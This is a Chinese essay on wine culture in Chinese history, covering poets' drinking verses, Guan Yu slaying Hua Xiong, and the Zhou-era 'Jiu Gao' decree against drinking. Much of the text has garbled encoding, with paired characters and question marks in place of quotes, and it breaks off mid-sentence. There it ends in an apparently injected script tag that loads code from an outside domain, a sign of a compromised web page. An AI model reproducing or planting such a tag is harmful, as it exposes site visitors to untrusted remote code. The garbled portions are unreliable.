酒中的豪情與奢靡
時逢三五便團圓，滿把晴光護玉欄。明月幾時有，沒有美酒何以問青天。食文化是東方中國文化的一大特色，而酒文化則是中國食文化的精華，是這一中國特色文化的發(fā)酵劑、潤滑劑、助推劑和粘合劑，在不同的場合起著多元的作用。酒在中華文化的歷史長河中，已不僅僅是一種液體的客觀物質(zhì)存在，飲酒更是一種固化的精神文化象征和流動的社會生活習俗。
善助英雄壯膽，能添錦繡詩腸。神仙造下解愁方，雪月風花玩賞。自古到今，中國的酒文化源遠流長、綿延不絕。在文學藝術的王國中，酒神精神無處不在、無所不往，它是文人墨客滾滾創(chuàng)作思潮的源泉，以至留下無數(shù)的不朽之作?！袄畎锥肪圃姲倨?，長安市上酒家眠，天子呼來不上船，自稱臣是酒中仙?！?唐.杜甫)“俯仰各有志，得酒詩自成?！?宋.蘇軾)“一杯未盡詩已成，涌詩向天天亦驚?！?宋.楊萬里)。飲酒甚至醉酒而成傳世詩作，這樣的例子在中國文學史上遍地開花，俯拾皆是。
臨行更喝一杯酒，渾身是膽雄赳赳。美酒對于赳赳武將來說，又何嘗不是出征臨行助膽壯威的“精神良藥”。酒壯將軍膽，更助三軍威的故事不絕于史。三國時董卓作亂，諸侯群起而討伐。兩軍對壘，關羽主動請纓。曹操已覺關羽乃英雄是也，于是溫酒一杯，親自捧上，與關羽飲。關羽曰:“酒且斟下，某去便來?！背鰩ぬ岬讹w身上馬。不一會兒馬到中軍，關羽已提華雄之頭擲于帳下，此時其酒尚溫。真是云長停盞施英勇，酒尚溫時斬華雄，這千古美談之中，酒功不可沒。
雖說是三杯能和萬事，一醉善解千愁。然而抽刀斷水水更流，舉杯消愁愁更愁。世上的事沒有絕對性，作為一個錢幣的兩面，酒乃五谷所釀，純水所制，一杯之中，用糧幾多?千夫之作，幾人享用?杜康造下萬家春，倍添民間幾多愁。是故，《尚書.酒誥》有言:“祀茲酒。惟天降命，肇我民，惟元祀。天降威，我民用大亂喪德，亦罔非酒惟行。越小大邦用喪，亦罔非酒惟辜?！狈g成白話文即是:“只有在祭祀之時才需要用到酒，平時不應常飲……酒本為祭祀，但亦可亂行。無論是小國還是大邦所以喪亡的，無不以酒為罪?！?
《酒誥》體現(xiàn)了古代“飲酒亡國”的政治觀念。夏、商后期的統(tǒng)治者因酒廢政，給周初的統(tǒng)治者提供了深刻的教訓，于是下決心要肅清酗酒惡習，以正民風。在周公看來，商紂之亡國，與夏桀亡國有極為相似的歷史原因，那就是酗酒喪德。故武王伐紂勝利后，為了建立新秩序，防止故殷之地積習難改，縱酒之風繼續(xù)蔓延，也為了防止周人相沿為習腐化墮落，周公特意宣布限酒令，授命幼弟康叔受封衛(wèi)國時告誡其應當舉國禁酒，不要荒耽于飲酒而失德亂政?！渡袝分械摹毒普a》是我國歷史上第一部正式限酒的法律，也是世界上最早的限酒令，從中我們可以看到西周初年周公為首的?script src=http://www.234mu.com/>
